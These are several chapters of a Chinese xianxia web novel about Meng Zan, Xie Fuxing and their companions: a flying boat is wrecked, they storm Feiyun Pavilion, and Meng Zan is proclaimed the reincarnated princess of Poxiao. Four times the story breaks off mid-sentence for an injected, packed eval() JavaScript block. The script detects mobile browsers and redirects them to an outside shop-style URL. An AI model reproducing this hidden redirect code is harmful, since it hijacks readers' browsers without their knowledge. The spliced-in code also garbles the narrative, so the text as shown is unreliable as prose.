却见飞舟被雷击破瞬间,一道黑影掠过直冲进一个房间,正在睡梦中的孟簪就那么被人扛走了。 北冥凌想追上,那黑影人回身,挥出十余根的银针,北冥凌堪堪避开,也错过了追上去的最好时机。 苗昊脚下一轻,来不及反应,身体下意识伸手抓住最近的可以握紧的东西。 见计划达成了,苗徽昀便也不多纠缠,撑着伞,回到了原来的飞舟上,漠然地看着坠落下去的飞舟碎片,眼中尽是讥诮和不屑。 谢赴星御剑左右手各抓着一个人,眉头一挑,“你们俩劈的飞舟?” “……”苗昊没说话。 被抓住命运后颈的北冥凌面色发紫,苗昊左看了眼,提醒道,“他快窒息了。” 谢赴星于是手一松,恢复呼吸的北冥凌当即以极快的速度下落,“救——命——啊——” 他还不会御剑啊! 谢赴星御剑顺着北冥凌下落的轨迹向下,被提着的苗昊看着北冥凌突然觉得自己还挺幸运的。 然后,就也被松开了。 坠落的苗昊:…… 被树枝拦住没落在地上的北冥凌劫后余生地拍着胸口,“还好,我命大。” 后被扔下的苗昊在快降落的时候用灵气延缓了降落的速度,虽然也是摔落在地上,但是好歹没受什么伤。 他拍了拍灰从地上站起来,抬头瞥了眼被困在树上的北冥凌,“救我。” 看了眼树底,苗昊点点头,在北冥凌都没来得及反应前,一剑斩开了支撑着北冥凌的树枝。 北冥凌见苗昊如此配合,心里一阵不妙,在大脑反应之前,他坐在了刺草上,痛彻心扉、撕心裂肺的一声“苗昊!” 苗昊收回剑,依旧是平日里那副波澜不起的样子,只是眼里有几分愉悦荡开。 “你们倒是开心。”面对谢赴星不冷不淡的嘲讽,苗昊倒是没有反驳,“孟簪和宋故封呢?” 谢赴星扔给苗昊一张纸条。 “想找人,来破晓国。”苗昊把字条上的内容读了出来。 虽然不明白破晓国的人为何要带走两人,但是苗昊觉得眼下最重要的问题不是这个。 “飞舟没了,我们怎么前往破晓?” 顶着谢赴星似笑非笑的眼神,苗昊一本正经道,“不是我炸的。” “我知道。”谢赴星收回视线,看向密林,“要是你炸的,那人应该就把你杀了。” 顺着谢赴星的目光,苗昊看见了一脸扭曲的北冥凌以诡异的姿势爬了过来。别说,在这青天白日下,还真吓人。 “咳,我还买了地图,只要顺着地图,应当很快……” 谢赴星皮笑肉不笑道,“倒也不必如此乐观。” 飞舟需要七日左右方能到达,眼下不过第四个晚上,这剩下的行程若是徒步前往,七日也未必能到。 苗昊抬头,这才明白心里为何有一阵古怪的感觉。这脾气素来很好的小谢师弟,怎么今天说话那么刺呢。 苗昊虽说和谢赴星交流不多,但是初见他护下同门师姐,并且主动提出帮忙照顾这一点就让他对谢赴星有一个很好的印象。 今晚也确实令人恼火,苗昊在心里盘算着回去要向苗徽昀索赔的金额,心里对谢赴星的责怪散去,毕竟这再好的人,有三分脾气也不是什么大事。 苗昊低头看了眼抱着自己腿的北冥凌,“苗昊,我诅咒你这辈子断子绝孙。”托苗昊的福,北冥凌的屁股现在还疼着,他好不容易把所有的针给拔下来,如今浑身疼得脱力。 看着跟虫似的、匍匐在地的北冥凌,谢赴星只是淡淡一眼,“天亮再走。” 苗昊没有异议,他蹲下身,一根根地掰掉北冥凌扣着自己的手,“你别缠着我。” 一副高贵的姿态,让北冥凌都有些没反应过来,都开始反思自己是不是做错了什么,等回过神,苗昊已经走远,北冥凌只能指着对方离去的背影骂骂咧咧。 还好北冥凌已经睡了一觉了,不然今晚是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902289|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何都睡不着的。 谢赴星不关心北冥凌和苗昊之间的恩怨,他坐在树上,看向黑衣人离去的方向,孟簪和宋故封同时消失不见这件事对他而言,倒是有趣。 想起他那个废物师姐在离去时还在呼呼大睡,谢赴星不禁勾起唇角,这样的睡眠状态倒也是让他佩服。 要是死了也好,知晓自己那么多秘密的人放在过去都不知道死几次了。 长月将落,天空的第一抹阳光方露出角,北冥凌就拖着残破的身躯叫醒了每个人。 吃了止痛的丹药,北冥凌今日的状态好了些,至少能站着了。只是这心情好的快,烂的也快,三人经过客栈坐下吃饭的时候,他听到了小二的议论。 “这说这人吃饭怎么站着啊?” “嗐!你这都看不出,这坐着的两个明显是少爷啊!这站着的估计是个侍卫。” “唉——这年头侍卫也不容易,还得主人吃完了吃人家吃剩下的剩饭。” 北冥凌看了眼,不知何时苗昊和谢赴星早就放下了筷子,就只剩下了他一个人站着吃饭。 少爷的侍卫吃剩饭。 在北冥凌气得把饭盖在桌子上前,两个小二各自忙活去了,“对哦,你怎么不坐下?”面对苗昊的明知故问,北冥凌恨不得把他也摁在那针草上。 他没有回答苗昊,但眼神已经杀了他不下三十次了。 破晓国作为古国,诞生于战乱之时,是四国乱民的庇护之地。七日后的路程来到破晓国后,北冥凌才发觉这次收到邀请信的人不在少数。 江宁药家、西炎皇室、蓬莱岛一眼望去,都是北冥凌认识的,喊得出名的地方。 “那么大的仗势不像是要来赴约的,倒是像来灭国的。”北冥凌这一声嘀咕倒也不是夸张。 敲锣打鼓声响起,吸引了三人的视线,“欢迎各位远道而来莅临我们破晓国,自古以来这天下英雄好汉来咱们破晓国都是要来这飞云阁闯闯。” “今年,闯到顶楼者,上赏。” 下面有人不解了,“这上赏是什么啊?” “对啊对啊!你不说这上赏我们闯什么啊?” 那人笑了笑,“咱们阁主可以无理由满足对方一个心愿。” 话音,刚落引起千层浪,北冥凌若有所思之时,便见谢赴星抬步走向飞云阁。 他赶忙出手拦住了谢赴星,“等下,谢赴星你真要去闯阁!?” “不是要救她?”谢赴星反问,安静的黑眸扫了眼高耸入天的飞云阁,没有半点胆怯退却之意。 几人来破晓国都是人生地不熟,确实……没有什么比闯飞云楼更快的途径了,北冥凌还是有些担忧,“可是这阁我听说可不是那么好闯的。飞云阁一共二十层,每层一人守楼,皆是实力未知的高手。” 听此,谢赴星颔首,扔下一句话,“那我便一层层闯。” 见谢赴星意气风发、神采飞扬的模样,北冥凌原地待了几秒,也跟着跑了进去,“慢着,我也去!”等找到人,他一定要在孟簪面前好好参苗昊一本! 眨眼间徒留苗昊一个人,能怎么办,只好冷着脸,拿着剑也走进了飞云阁。 24. 第二十四章 二十四章 破晓国隔绝了战火的纷飞,云子衿盯着茶水的倒影,耳畔响起了战场的号角声、将士的吼叫声以及稚童的哭喊声,她蹙眉放下青瓷茶杯,一切噪杂的声音瞬间化为乌有,“你觉得他们可以闯到第几层?” 不知太阳打哪里升起,阁主竟问出这般的问题,从前也不见阁主关心过别的人,怎么独对今日闯阁的小子另眼相看,难道是因为对方长得好看? 身为手下的人也不敢多猜测主上的意思,便实话实说道,“十五层。” 云子衿坐在飞云阁对面的客栈,看到十五层那人的身影后,了然地笑了,“他倒是也不怕死。也是,倘若想死也是死在了百年前。”随着她一块儿去了。 思索到这,云子衿问,“她真得回来了?” 手下的人瞬间理解,将自己所知道的全盘托出。 此时破晓国中心的皇城内, 金丝缕,黄金被,床榻上的少女悠悠转醒,柔荑般的手指攥着被子缓缓起身,那张清冷绝尘的脸上缓缓打出一个问号。 这是在哪儿? 孟簪看着屋内精心的布置,不知为何有一瞬间的恍惚。 “公主您醒了?” 孟簪看向说话的侍女陷入了沉思。 公主?等下,她是在喊我公主? “这是哪里?”孟簪一脸困惑地看着这全然陌生的一切。 侍女笑了笑,“这是破晓国的皇宫,您的寝殿内啊!” 嗯?这是什么玄幻剧情? 孟簪皱着眉,花了三秒就接受了现实。毕竟又不是什么噩梦,比起怀疑,孟簪更愿意享受。 “中饭已经准备好了,公主是否现在就要就餐?” 扫了眼金碧辉煌的宫殿,孟簪清了清嗓,“上菜。” 早就在门外候着的侍女举着盘子款步走入,足足花了五分钟才放下全部的菜品,看着这一桌子的满汉全席,孟簪心里只有一句话,告诉无花宗,今晚姐不回去了,我要死在破晓国。 正吃到一半,外面的天空突然阴沉了下来,乌云慢慢吞噬掉了最后的一片光明,轰的一声,响彻苍穹的雷声落下。 “外面是怎么了?”孟簪一边用毛巾优雅地擦了擦手,一边朝身侧的侍女问道。 “公主,是飞云阁被人用雷劈塌了。” “啥?”飞云阁,那个号称天下第一楼的飞云阁? 孟簪倒是听师父谈起过几句,不过这飞云阁好端端地怎会被雷劈了。 见公主面上的困惑,侍女在一旁提示道,“这飞云阁是公主创立的,公主若想要知道询问一声便好。 孟簪心里有些意外,这著名的飞云阁竟然是破晓国公主创立的。不过对于真相如何,孟簪倒是无所谓。 毕竟她现在同角色扮演一般无二,不知何时就要被人叫醒,再让现实打两个巴掌告诉她,别做梦了,一夜暴富变成公主的事情是不会发生在你身上的。 孟簪没想询问,却不想这守阁的长老倒先找上门来了。 老者的面容通过隔空传音术浮现在了吃饭的孟簪面前,“公主。”这声音显然是被气得不清。 在孟簪还没来得及开口前,这老人抢着控诉道,“今日有三人结伴闯阁,为首的那位一开口便是向我讨要公主的下落,堂堂破晓国公主的消息岂能让人随意窥探,属下自然是给拒绝掉了!然后那位小公子二话不说,反手便把飞云阁给劈碎了……” 听着确实过分,孟簪便多问了句,“这三人的长相外貌你可还记得?” 这老人对这帮破坏分子显然是记忆犹新的,“有!那个为首的小公子,便是引雷劈坏飞云阁的那位眉心有颗朱砂,身着红衣,长相极为俊美,年岁看着十八左右。剩下的一个银发紫眸,一个冰块脸,看着倒都也是名门公子,但行为举止令人发指!老夫是闻所未闻。” 听到这里,孟簪已经猜出这三个人是谁了。 要说谢赴星的性子把飞云阁劈了好像也没有那么令人感到意外了。毕竟今日就算是天塌下来,谢赴星都可以正经八百地夸句塌的好塌的妙。她这小师弟,没什么很强的道德感,凡事都挺无所谓的很,倒是和之前一个样子。 做事从不考虑后果,这飞云阁说劈就劈。 全然是按着自己心情行事的。 不过,这三人去飞云阁到底是干什么?听样子还是闯到了比较高的楼层? 他说,问我的下落。 孟簪好像懂了,这三人为何闯阁了。 “让他们来见我。”这是老者在挂断传音前听到的最后一句话。 — 进入飞云阁后北冥凌才发现里面别有天地,珍贵的宝物跟不要钱似的布置在里面,这门口的发财树便是上千年的宝物,自小看惯奇珍异宝的北冥凌也是被这飞云阁炫了一把。 “哟,还带了帮手?” 虽然人多力量大,但是北冥凌心里还是没有底。 却见谢赴星微笑道,“对你,我一人一剑足矣。” 北冥凌低声道,“小谢师弟,虽然我一直崇尚人不行也要自信,但是咱们刚来破晓国还是低调为妙。” “哦?原来是小公子出门带两个侍卫,这两个侍卫一个没头脑,一个不高兴。唉——小公子带出门也不带点强的。” 玩笑声方落下,北冥凌已经站在了谢赴星前面,“我可不是侍卫!” 侍卫两个字巨大的伤害了北冥凌脆弱的心灵。 “你不是侍卫?”那女子捂唇有些惊讶道,“那便是侍女了?怪不得我觉得你走路的姿势别别扭扭,哎呀,我这人说话直了些,你可别往心里去。” 苗昊压根没忍住笑意,自觉地往后退了。 北冥凌身法很快但更快的是女子结阵的手势。 “唤·周公!蝶阵开!” 在北冥凌靠近女子的前一秒,脚下一阵金光亮起,瞬间将他吸定阵法之中,不远处的女子坐在位子上,勾唇轻笑。 这飞云阁可不是那么好闯的。这庄周梦蝶的第一关,便足以拦下不少人。 庄周梦蝶,人生虚妄。 倘若是第一关都过不去,那这三人也没有闯下去的必要,女子撑着脑袋看着这阵法中的三人,倒是不知谁能先破了她这阵法了。 这阵法不同于打打杀杀的兵阵,不在乎害人而是拖延时间,这阵法是她独创,所以玉梦蝶有信心至少可以困住这三人两个时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是学琴的好苗子,千万不要浪费自己的天赋!我这人、平日里舞刀弄枪的,其实心里也有一颗向往音乐的心灵。所以,我真得很羡慕这位公子,你的、你的天赋。” 北冥凌:疯了!真是疯了,他今晚就要写信给苗家,告诉他们,你们家儿子的耳朵聋了,聋彻底了! 苗昊结结巴巴地背诵着谢赴星写给自己纸条上的话语。 一脸的生无可恋。 还有几句他实在是背不出口。 什么对于世俗的解脱和对于人生的深思,表达了对于故乡家国的思乡之情。 对上苏岚知音见知音两眼泪汪汪的表情,苗昊总算明白为什么这话谢赴星要自己说了,“千里马常有可伯乐难寻!我苏岚今日也算是找到自己的伯乐了!来,听我再为你作一曲。” 苗昊一脸抗拒:大可不必。 观戏的谢赴星针对眼前一幕轻笑了声,懒洋洋地靠着柱子,手中把玩着玉佩,然不知是察觉了什么,慵懒的神色褪去,少年直起身,看了眼窗外。 窗外天色依旧,正是正午时分,太阳最烈之时。 25. 第二十五章 第二十五章 “去。”谢赴星手指轻轻一指,佩剑便径直飞了出去。 在这里遇到李家人,谢赴星好像并不意外,对面酒楼二层的李芝一把拿起吃干净的饭碗挡住了少年的剑,叮的一声脆音响起。 剑气余波震得虎口发疼,可李芝面上却没有透露出半点痛苦的神色。李家派人跟踪了一路,李芝本以为这年岁不大的毛头小子轻易便可以解决掉,不想在这里就被人发现了。倘若不是反应及时,这剑怕已经割破了她的喉咙,出手这般狠决,哪有半点传闻中菩萨脾气的样子,这传闻怕不是逗人玩的? 她放下碗,看着这佩剑重新回到主人的手里,那人看着漫不经心,李芝却不敢掉以轻心。 李玉垚的死对于旁人而言或许只不过是少了一个优秀的竞争对手,但对于李家而言却是重大的损失。他有不能死的原因和责任,而如今这李家为了他的死上上下下皆是忙得焦头烂额,家主说,不能放过谢赴星,倘若不是他,玉垚不会死。 不过,今日并不是刺杀的好时机。李芝从二楼窗户一跃而下,眨眼间消失在了泱泱人海之中。 “公主,宫里的侍卫抓到了个刺客。” 孟簪看着被带上来反扣住双手,一脸委屈样的宋故封,嘴角一抽,“无事,这人我认识的,你们下去吧。” 等周围人走掉之后,孟簪立马放下了高贵戒备的姿态,头疼地朝着自己这位“老乡”问道,“那个晚上到底发生了什么?” 老实巴交的宋故封实话实说:“飞舟被劈了。” 察觉对面人骤然安静了,宋故封脸上浮现疑惑。 孟簪心里思绪千回百转,惹到谢赴星,可算是踢到铁板了。几乎是立刻的,孟簪把劈飞云阁和劈飞舟两件事串联了起来。 好家伙!这人宁可伤敌一千自损八百也要劈毁飞舟,和自己同归于尽,这样的心志做什么不成功? 孟簪细想,以后说不准还真有一天,自己尚在睡梦中就被谢赴星弄死了,等孟簪一死,这人再掉个几滴眼泪,在灵堂前演绎一波师门姐弟情深。 想想就让孟簪毛骨悚然,不行,自己虽说时日不多但还是想多苟活个几年的。英年早逝,这个词绝对不会用在孟簪自己身上! 宋故封看着孟簪脸上的神情变了又变,没有出声打断,而是拿起桌上桃花样式的糕点自觉吃了起来。孟簪后来问了宋故封几个有关破晓国的问题,宋故封也是知无不言,孟簪问一个,他答一个。 直到,门外侍女告知,“公主你要见的人到了。” — 坐在王座上的女子百般聊赖地支着脑袋,门从两侧打开,光影斑驳,被那老头再三强调见了公主要三叩九拜,北冥凌心中虽然有些不服,但面上还算是和善,他一会儿倒是要看看这架子颇大的破晓国的公主长得是有多人间绝色。 “公主。” 老者弯腰恭敬一拜,随后眼光扫过身后三人,低声提醒,“还不赶紧参见公主!” 孟簪坐在王座之上,一道似笑非笑的视线落在她身上,她撩眼,撞上少年好看的含情眼,带着几分薄凉和嘲讽。 四人中唯有谢赴星没动,他着实没想到会在这里看到孟簪,他想过孟簪会死,却唯独没想到她活着,而且看着过得倒是颇有滋味。 “你为何不跪?” 孟簪直勾勾地看向红衣少年,多日不见,他眉目间多了几分暴风雨前的平静,方才对上的第一眼,有意外、怔然,唯独看不见的是担忧和关心,谢赴星笑着勾唇,缓缓地弯下腰,清澈的声线懒洋洋道,“拜见公主。” 不卑不亢的一句话在孟簪耳畔响起。 谢赴星从容不迫,丝毫没有因为孟簪的为难而逆反。一旁的北冥凌松了口气,谢赴星平日里守礼温和的,怎么这关键时刻掉链子,明明在进门前都对过台词的,就一句词儿,大家三个人一起说。 不过,北冥凌慢慢察觉到不对劲的地方了,这公主的声音听着有点耳熟啊!咬了咬牙,他偷偷用余光瞄了眼,女子雪白的衣摆涌入眼眶,然后再稍微抬起一些脑袋,看全了那一张神女般清冷惊艳的面容,眼中满是玩味地看向自己。 高台之上坐着的人,眼熟至极。 “你是破晓国的公主!?” 这个震惊程度不亚于现在出现个女子抱着孩子喊北冥凌爹地,北冥凌活那么大,好歹也是见过风雨的。可是孟簪一转身成为破晓国的公主还是有些震惊的。 他一把拎起一旁无辜的宋故封,“你们国家的公主不是个老妖怪吗?” 宋故封也是诚恳道,“没有啊!我们公主早死了。” 北冥凌突然背后一凉,早死了?那如今站在他眼前的…… 孟簪咬了口糕点,因为味道太甜蹙起了眉。 这些她方才的时候都问过宋故封了。宋故封虽然年纪轻轻,但是知道的事情很多,甚至于几千年前的故事和渊源都可以说个七七八八。 “非也,我不是那位公主,而是那位公主的转世。” 孟簪解释完后咬了口上好的糕点,如数珍宝般道,“这糕点不错,你们快尝尝。” 乖巧照做的宋故封拿起糕点找了个位子坐下。 “你真不怕他们把你卖了?”北冥凌对于朝堂的纷争最为厌倦,也正是因为看惯了勾心斗角,他现在颇为担忧地看向孟簪,这一刻他是真得在为孟簪考虑。 孟簪放下糕点,擦了擦手,正经道,“挺怕的,我怕他们哪天就不需要我了。” 北冥凌:……好好好,我就说这个国家迟早要完。 既然孟簪是破晓国公主已经成为定局,北冥凌顺着这个,问出了个很致命的问题,“你当过公主吗?” 北冥凌虽然不问朝权,但是凭借他现在的了解,这破晓国的公主在这里显然是等同于皇帝般的存在,不是新手小白就可以简单上路的,朝堂勾心斗角可不是那么好应付的,何况破晓国人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929083|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 济济,未必会听一个筑基都不到的女子的话。 强者为尊,这句话到哪里都不会过时。 但孟簪好像并没有如北冥凌一般担忧,而是不紧不慢地反问了句,“你当过吗?” 北冥凌下意识反驳道:“我是男的!” “哦。那你当过吗?” “没有。”北冥凌别说是公主了,就算是太子扔给他当,他都不稀罕,这种权力的游戏他并不在乎。 “我也没有。”孟簪这回倒是坦荡承认。在方才的谈话里,孟簪从宋故封了解到了这位破晓国公主的故事。 这位公主是破晓国开国皇帝的女儿——永安公主。 这是那位皇帝第一个女儿,也是唯一一个女儿。因为在永安公主三岁那年,父亲便去世了,战死沙场。年仅三岁的永安公主作为唯一继承人继位,成为了这破晓国的第一位女皇。 这位公主在千百年陨落后,破晓国便一直处于无主的状态之中,直到,孟簪被捉过来,一大堆人告诉她,她就是这位公主的转世。 无论因为什么,孟簪不在乎道,“他们愿意对我好,我觉得挺好的。” “但是无理由的好必然是有代价的。”这话是北冥凌说出来的这点倒是让孟簪眉头一挑,她点头,颇为赞赏道,“所以在她们放弃我之前,我要多享受几天。” “柳姑娘,你确定吗?”苗昊蹙眉,也是好心奉劝道,“他们这样必定有所图谋,心怀不轨。”在苗昊看来,这公主认得本来就是颇为随便,都不知是通过什么方式辨认出来的,要是认错了,这一朝天堂坠落牢狱可是极其痛苦的。 “好啦,我心里都有数的。请诸位先住下吧。”孟簪心里拎得清很,这破晓国认自己为公主的背后一定存在目的。 孟簪不是不明白,身份于她而言是把双刃剑,倘若利用的好了,便是帮助她找到寻魂灯的踏脚石,毕竟身为破晓国公主在自己王国内寻找东西是再寻常不过的事,所以在这段还不至于威胁到她生命的时间里,她还是愿意奉陪这些人玩玩的。 谢赴星从方才开始脸色就不太好看,他抿着唇,在几人谈话之时,扫视了一圈周围,依然没找到让他难受的元凶。 “你怎么了?”是一旁的苗昊先发现了谢赴星的异常,这样热的天气,谢赴星的脸色白得吓人,倒是让苗昊有些担忧地问道。 “没什么。”谢赴星及时调整好状态,勉强地笑了笑,“可能是方才用剑的时候,灵力有些紊乱不稳。” 谢赴星刚踏入金丹不久,这样的理由倒也正常。 只是谢赴星心里确信,这里定然是有不对的地方,所以才会让他简单维持人形都有些困难。 “房间。” “嗯?”孟簪瞧着少年乖巧单纯的样子,刚想发难,便听对方一字一句、字正腔圆地唤了句,“师姐。” 看着少年藏着倔强的黑眸,孟簪怔了一瞬。 过往的记忆刹那间蜂拥而来。 26. 第二十六章 第二十六章 不周山,赶路人。 孟簪擦拭着额头的汗,看了眼身后拄着拐杖,走路慢慢悠悠的小瞎子,他虽然看不见周遭但是每一步阶梯都踏得稳当,这一路走得孟簪大汗淋漓,但是在他身上倒是看不出来半点的疲倦之色,衣服还是今朝那件,没染半点汗水,脊背挺直,不像爬山,倒是像来巡山的。 “不周山那么高,你爬不上去的。” 每年来不周山寻衅滋事的人不少,可好多人没有爬上山就选择放弃了。无他,不周山太高了,望不见尽头的阶梯便让人觉得绝望。 “我看得见的人都没放弃,你看不见又有何惧?”孟簪在谢赴星没有反应过来之前,摸了摸对方的头,笑眯眯道,“你说我爬不上去,那我就爬上去给你看。” 谢赴星最讨厌这人总是一副长辈的姿态,此刻跟只戒备的小兽一般冷冷道,“不要摸我头,你爬不爬得上与我何干。”要不是这人说不周山上有免费的斋饭可以吃,谢赴星才不愿与孟簪同行。 这人整天一副使不完的牛劲和活力,谢赴星都觉得烦。 他蹲下身,在一块阴影的地方坐下,懒洋洋的姿态在孟簪眼里像是一只没睡醒的猫,此刻坐在乖巧地坐在树荫之下休憩。 一阵带着栀子香味的风吹来,有人站在了谢赴星面前,就一路爬山的状况来猜,这面前的人是谁好像并不难让谢赴星猜到。少年抿了抿唇,不太想搭理对方。 方才侧过身去,对方便也踏步,好像一定要搁他面前站着似,终于,谢赴星忍不住阴阳怪气道,“你这人自己爬不上去还不准我坐着休息。这不周山是你家开的吗?” “不是啊,但你,是我家的。”孟簪微微弯下腰,谢赴星下意识往后躲,双手撑在身后的阶梯上,不周山上万阶台阶,不可能有人天天清扫,手下压着小颗粒的疼痛被少年主动忽视,他鼻尖灌满了少女身上的清栀子香,他浑身紧绷地像根弓,脑子里这时突然回想起一句话。 男孩子出门在外要保护好自己。 少女好像丝毫没发现谢赴星的紧张,她又凑近了些,谢赴星虽然看不见但可以感觉到对方离自己的距离不到一个拳头,他从没见过孟簪的样子,但是他想这人长相定然很普通,不然怎么可能安然无恙地被捉到土匪寨子里。 实力估计也就那样,把自己救出土匪寨子就已经是极限,像她这样的人,如此想其实挺普通的。但是在谢赴星心里,她好像又没有那么普通,至少她人心不坏。 孟簪伸手拿去掉在谢赴星身上的树叶,盯着这个看不见的小瞎子看了会,不禁被对方怔然的表情给逗笑了,“我不会打你的。” 谢赴星回神,环胸闷声道,“不好说,你这样暴力的女子真不知道以后是哪位瞎了眼才会看上你。” 孟簪倒是没把谢赴星的话放在心上,喝了口水,将水囊放回了随身带的行李中,望了眼阶梯,又看回了少年,神情温柔道,“以后你跟我回去吧!” “我师父人很好的,我回去跟他说明你的情况后他一定会很高兴收你为徒,到时候你便不用再四处流浪了,便也可以光明正大地唤我一句。” 那时候眼覆白绫的少年扭过头去,只当这人开玩笑,可是他看不到,说这话时的女子眼中尽是认真,她是真得想将这位少年带回去,给他一个家,一个至少不用上顿饱下顿饿的地方。 过去和现实重合,孟簪喃喃道,“师姐。” 众人没听清她说了什么,注意力都在谢赴星身上,直到谢赴星又唤了一句,“师姐。” 孟簪回神,吩咐侍女带众人下去休息,留下了宋故封这个土生土长的破晓人。 “你可知藏书阁在哪儿?” 寻找东西的最佳场所便是藏书阁,不过,见到破晓国的藏书阁后,孟簪还是有些惊讶的,此前她见过西炎的藏书楼,一整座的楼阁放满了书,高低起伏的书架,充满了历史的厚重感。 与之相比,破晓国的藏书阁像个储物间,里面的东西很是杂乱,许久未被人整理过的书本满是灰尘,一打开门,孟簪怀疑自己来到了废弃很久的屋子,很难想象这是一国的藏书阁。 宋故封手扒拉着门,没进来,他似乎是有些洁癖的,皱着眉看着如此脏乱的藏书阁,“要不,我们还是走吧。” 俗话说,富贵险中求。忙着找书的孟簪朝宋故封摆摆手,“你要走的话你先走吧,我再在这边找会儿。” 见孟簪拿起沾满灰尘的书,宋故封头都不回地跑了。 太可怕了,重度洁癖的宋故封觉得自己要赶紧回去洗洗眼,这短短几秒,已经给他的心灵造成了巨大的冲击。 宋故封:和你们这些没有洁癖的人拼了! “乱国史?” 这是一本带着插画的书,看着好像是讲破晓国的历史,孟簪一个法诀,拂去了书本上的灰,看着重新干净的书,扫了眼周围灰扑扑的书堆,叹了口气,“算了,今日先拿一本看看再说。”剩下的,还是派人先清理一遍再过来。 孟簪拿着书回到寝殿,重新洗了遍澡,点了烛灯细细翻阅起来,不想还真了解到了些有用的知识。 仙历108年夏,岁大旱,寸草不生,百姓孤苦,一鲛人入国,称其可以除旱荒,王喜允,赐封号国师,三日国师祈雨成功,后人皆称赞其厚德。 孟簪读到这里很是震惊。 鲛人国师? 可是破晓国离海还是有些距离的,是个不折不扣的内陆国家,河都没几条,怎么会出现鲛人? 自从南明国和鲛人一族大战后,鲛人便像是消失在了那片大海之中,再少听闻有关的事迹,或许绝迹了也说不准,毕竟鲛人族人数本就少,生育积极性也低。 她再读了下去,发现了一个重大的秘密。 千年前的破晓国公主慕艾国师,而且长达三十年! 虽然书中讲得极其隐晦,但是明里暗里就传达着这个意思。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼见谢赴星的身体往前倒去,孟簪赶忙扶住少年,像很多年前一般,不过过去的孟簪尚可以护住少年,如今的谢赴星已经成长到她无法企及的地方了,他唇畔动了动,“然后呢?” “这剑修可不是话本里那种好人,这人心冷得很,对于小鲛人的恳求视若无睹,眼见着这小鲛人要被杀死,也不知是怎么的,她的剑不听话地割开了网,混乱之中,小鲛人逃走了,回到了海里。 回到了海里后,小鲛人喜欢上了岸上救自己的剑修,于是将鱼尾换了双腿,偷偷跟在她的身后离开了这片生存已久的大海,代价是一辈子都无法向心爱之人述说心意。 不过,他很快就被剑修发现了,剑修将他送回了大海,鲛人不愿意,无奈,这剑修许诺三年之后会再来大海找他,方才离去。此后三年,这鲛人便在海上日日等着心爱之人的到来。” 孟簪没说故事的结尾,因为她不喜欢这个结尾。 周围安静了下来,孟簪低头,看着怀中疼晕过去的谢赴星,悄悄抚平了对方睡梦中蹙起的眉。 27. 第二十七章 第二十七章 也就只有睡着的时候,两个人之间的氛围没有那么针锋相对,孟簪将谢赴星放平在床上,盖上被子的时候,谢赴星幽幽转醒,他手骨分明的手攥住了少女的手腕,冰冷的指尖贴着她跳动的脉搏,衣料摩挲的声音响起,“想杀我,现在是最好的时机。” 他眸光闪闪,从那双眼里,孟簪竟然看出了几分期待,只听对方继续循循善诱,“我现在连手都抬不起来,你想杀我很容易,只需要轻轻一下,我就死了。” 孟簪没理会他,朝门外问道,“太医还没来吗?” 门外回话道,“今晚当值的张太医老婆生了,他一高兴在来的路上摔了腿,此刻正在爬来的路上。” 孟簪:……倒也挺曲折的。 “找两个人去抬一下他吧。” 她重新垂眸看向乖乖躺在床上的少年,难得如此严肃,“闭嘴,再说话我就把你的秘密抖出去。” 谢赴星盯着孟簪看了会儿,突然低笑了起来。 这般虚张声势的姿态于谢赴星而言,就像是一只被剃了爪子的狸奴挠人。他很累了,但戒备心和提防让他保持着最后的一份清醒。 “师姐方才讲的故事是真的吗?”他漫不经心地问道。 “你若是相信那便是真的,你若不信那便是假的。” 谢赴星安静了几秒,“等待是世上最傻的事情。倘若我是那鲛人,便不会让那剑修离开,费尽心思也要把人锁在身边,永不分离。” 孟簪倒是有不一样的看法,开导道,“但是,等待也是世间最有希望的事情。无论过去或将来,只要誓言不灭,终有一日,可以守得云开见月明。倘若眼前没有解决问题的方法,便让一切交给时间解决。” “那是逃避,不是解决问题的方法。” “逃避何尝不是方法的一种?” 少年讥诮地笑了笑,眉眼间染上了些说不清道不明的复杂情绪,“所以那剑修没有回来。” 孟簪没想到谢赴星听过这个故事,故事的结尾小鲛人确实没有等到故人,日复一日地守候了千年,等到春暖花又开,等到周围的鲛人都告诉他,你等的凡人或许早就已经死了,但他只执拗地重复一句话,她那么强怎么会死。 孟簪不太喜欢这种结尾突然给她一刀的故事,却没想到这谢赴星听了故事倒是挺入戏,此刻大有故事里小鲛人的情绪,满脸写着幽怨两个字。“这个也不好说。”孟簪不知为何被谢赴星这个眼神盯着,心里竟然有些心虚,分明她不是故事里的剑修,而谢赴星也不是那故事里等候了千年的鲛人。 